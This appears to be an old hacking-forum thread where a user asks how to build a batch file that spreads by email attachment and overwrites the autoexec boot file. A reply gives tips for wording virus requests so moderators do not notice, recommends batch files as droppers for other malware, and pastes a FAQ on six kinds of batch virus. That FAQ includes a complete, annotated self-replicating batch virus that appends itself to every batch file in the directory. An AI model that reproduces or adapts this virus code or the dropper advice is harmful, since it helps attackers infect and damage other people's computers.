i need to know how i can create a batch file atoexecute thing that, when opened from an email attatchment, will send itself to the hard drive and overite the autoexecute file that boots up the computer.I bet you will get a lot of info on this forum!!!!alrite first when you ask for a virus u probably will get yelled at and threaten to get kicked of this form and stuff like like so try and word it diffrent next time if you want the slightest chance of getting help,

ok second why do you want this what are you ghonna do with it

and finnaly batch viruses are best used for dropers for your real virus b/c theres not much you can do with a batch virus b/c xp now has so if you delete one of your main system folders it will replace it and or fix it, and what do you want ot od with the autoexec do u want to just disable it so it dosent work or do you want to insert another batch file which is a pain to get off (i am experincing now) but theres only a couple batch viruses that i SEE

*** Q. What kinds of batch viruses are possible?
*** A. A few types. There seems to be six types as far as I can tell.

1. Real batch viruses that use DOS commands to infect batch files while
preserving the functionality of the infected batch. Like mine.

2. COMPANION batch files that rename other BAT, COM or EXE files then
substitutes batches with the program's base names. The program itself
is not altered.

3. Hybrid batches that only insert calls to itself into infected batches
without attaching the actual virus code which is kept or replicates
seperately.

4. Overwriters that destroy the program, COM, EXE or BAT, that it infects.

5. Binary code echoed into a COM file then exececuted.

6. Hex code echoed to a temp file then assembled using debug.

For example:

::Cheezy Batch ViR
@echo off>nul.ViR - turns off echoing
if '%1=='InF goto ViR_inf - branch line for calling infection
if exist c:\vir.bat goto ViR_run - branch if root file PRESENT
if not exist %0.bat goto ViR_end - branch if host cannot be seen
FIND "ViR"<%0.bat>c:\vir.bat - STRIP code from host, stash in root
:ViR_run - the heart of the matter...
for %%a in (*.bat) do call c:\ViR InF %%a - loop thru all bats in current
goto ViR_end - and exit virus
:ViR_inf - the infection routine...
find "ViR"<%2>nul - check if virus present in target
if not errorlevel 1 goto ViR_end - branch if there, get next filename
type c:\ViR.bat>>%2 - append virus to the file
:ViR_end - done.


if you want o know more get aim and aim me at Dark251

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i need to know how i can create a batch file atoexecute thing that, when opened from an email attatchment, will send itself to the hard drive and overite the autoexecute file that boots up the computer.